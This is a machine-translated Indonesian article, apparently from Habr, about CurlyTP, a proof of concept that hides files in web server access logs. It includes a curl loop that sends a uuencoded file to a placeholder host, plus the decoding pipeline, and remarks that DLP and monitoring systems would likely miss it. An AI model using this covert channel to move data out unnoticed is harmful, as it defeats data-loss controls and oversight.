Olahpesan rahasia melalui log server

Menurut definisi di Wikipedia, dead drop cache adalah alat konspirasi yang berfungsi untuk bertukar informasi atau semacam objek antara orang yang menggunakan lokasi rahasia. Intinya adalah bahwa orang tidak pernah bertemu - tetapi pada saat yang sama bertukar informasi, menjaga keselamatan operasional.

Cache seharusnya tidak menarik perhatian. Oleh karena itu, dalam dunia offline, sering kali hal-hal bijaksana digunakan: batu bata longgar di dinding, buku perpustakaan atau lubang di pohon.

Ada banyak alat di Internet untuk enkripsi dan penganoniman, tetapi fakta menggunakan alat-alat ini menarik perhatian. Selain itu, mereka dapat diblokir di tingkat perusahaan atau negara bagian. Apa yang harus dilakukan

Pengembang Ryan Flowers menyarankan opsi yang menarik - gunakan server web apa saja sebagai cache . Jika Anda memikirkannya, apa yang dilakukan server web? Ia menerima permintaan, mengeluarkan file, dan menulis log. Dan dia menulis ke log semua permintaan, bahkan yang salah !

Ternyata server web mana pun memungkinkan Anda menyimpan hampir semua pesan di log. Bunga bertanya-tanya bagaimana cara menggunakannya.

Ia menawarkan opsi ini:

  1. Kami mengambil file teks (pesan rahasia) dan menghitung hash (md5sum).
  2. Kami menyandikannya (gzip + uuencode).
  3. Kami menulis ke log dengan sengaja meminta permintaan salah ke server.

Local: [root@local ~]# md5sum g.txt a8be1b6b67615307e6af8529c2f356c4 g.txt [root@local ~]# gzip g.txt [root@local ~]# uuencode g.txt > g.txt.uue [root@local ~]# IFS=$'\n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh 

Untuk membaca file, Anda perlu melakukan operasi ini dalam urutan terbalik: decode dan unzip file, verifikasi hash (hash dapat dikirim dengan aman melalui saluran terbuka).

Spasi diganti dengan =+= sehingga tidak ada spasi di alamat. Program, yang penulis sebut CurlyTP, menggunakan pengkodean base64, seperti dalam lampiran email. Permintaan dilakukan dengan kata kunci ?transfer? sehingga penerima dapat dengan mudah menemukannya di log.

Apa yang kita lihat di log dalam kasus ini?

 1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0" 1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0" 1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0" 

Seperti yang telah disebutkan, untuk menerima pesan rahasia, Anda perlu melakukan operasi dalam urutan terbalik:

 Remote machine [root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue [root@server /home/domain/logs]# uudecode g.txt.gz.uue [root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz [root@server /home/domain/logs]# gunzip g.txt.gz [root@server /home/domain/logs]# md5sum g a8be1b6b67615307e6af8529c2f356c4 g 

Prosesnya mudah untuk diotomatisasi. Md5sum cocok, dan isi file mengkonfirmasi bahwa semuanya telah diterjemahkan dengan benar.

Metode ini sangat sederhana. โ€œInti dari latihan ini hanya untuk membuktikan bahwa file dapat ditransfer melalui permintaan web kecil yang tidak bersalah, dan itu berfungsi pada server web apa pun dengan log teks biasa. Faktanya, setiap server web adalah cache! โ€Tulis Bunga.

Tentu saja, metode ini hanya berfungsi jika penerima memiliki akses ke log server. Tetapi akses seperti itu diberikan, misalnya, oleh banyak hoster.

Bagaimana cara menggunakannya?


Ryan Flowers mengatakan ia bukan spesialis keamanan informasi dan tidak akan mencantumkan kemungkinan penggunaan CurlyTP. Baginya, ini hanyalah bukti konsep bahwa alat yang kita kenal sehari-hari dapat digunakan dengan cara yang tidak konvensional.

Bahkan, metode ini memiliki beberapa keunggulan dibandingkan "cache" server lain seperti Digital Dead Drop atau PirateBox : metode ini tidak memerlukan konfigurasi khusus di sisi server atau protokol khusus apa pun - dan tidak akan menimbulkan kecurigaan di antara mereka yang memantau lalu lintas. SORM atau sistem DLP tidak mungkin memindai URL untuk file teks terkompresi.

Ini adalah salah satu cara untuk mengirim pesan melalui file layanan. Anda dapat mengingat bagaimana beberapa perusahaan maju yang digunakan untuk memposting penawaran pekerjaan untuk pengembang dalam header HTTP atau dalam kode halaman HTML.



Idenya adalah bahwa hanya pengembang web yang akan melihat "telur paskah," karena orang normal tidak akan melihat header atau kode HTML.





Source: https://habr.com/ru/post/id465497/


All Articles